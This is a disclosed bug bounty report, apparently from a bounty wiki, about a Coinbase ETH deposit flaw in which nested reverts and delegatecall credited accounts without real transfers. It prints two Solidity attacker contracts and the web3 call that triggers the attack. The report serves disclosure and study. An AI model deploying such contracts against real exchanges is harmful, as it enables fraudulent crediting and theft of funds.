ETH contract handling errors
A business logic error in ETH contract handling allowed a nested revert call to credit a user account without funds being transferred, and the code did not properly handle delegatecall. An attacker could manipulate account balances.
- Triaged in 11 hours
- Fixed in 5 days
- Paid in 11 hours
- Disclosed after 14 days
Summary by the program
A business logic error in the ETH contract handling code allowed for a nested revert call in contract execution to improperly credit a user account though funds had not been transferred. In addition, the code did not appropriately handle delegatecall within a contract.
Sample contract for the first issue:
contract InternalAttacker {
function internalAttack(address _target) payable {
address(this).call(bytes4(keccak256("dive(address)")), _target);
msg.sender.transfer(this.balance);
}
function dive(address _target) {
_target.transfer(this.balance);
revert();
}
}
Attacking call of the first issue:
eth.contract(eth.contract([{"constant":false,"inputs":[{"name":"_target","type":"address"}],"name":"internalAttack","outputs":[{"name":"","type":"bool"}],"payable":true,"type":"function","stateMutability":"payable"}]).at('<address-redacted>').internalAttack(depositAddress, {gas: 300000, value: web3.toWei('0.2')});
Sample contract for the second issue:
contract InternalDelegateAttacker2 {
function internalAttack(address _target) payable returns(bool) {
_target.delegatecall();
msg.sender.transfer(this.balance);
return true;
}
}
We would like to thank @ambisafe for the prompt disclosure and assistance with both issues. Our normal bounties are $10,000 per instance of account balance manipulation. In this case, since two separate issues were reported within one report and provided enough data/context for Coinbase to immediately take action, we paid out two bounties plus a bonus for report quality.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the contract handling code mishandled nested reverts and delegatecall, allowing credit without a transfer.
Impact
An attacker could manipulate their account balance, potentially obtaining funds without a real deposit.
What the attacker needed
Ability to deploy and call a malicious contract
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a flaw in how a cryptocurrency exchange handled smart contracts. A smart contract is a program on the blockchain that can hold and send funds. The flaw let someone trick the system into thinking they had deposited money when they hadn't, so they could get credit for free.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.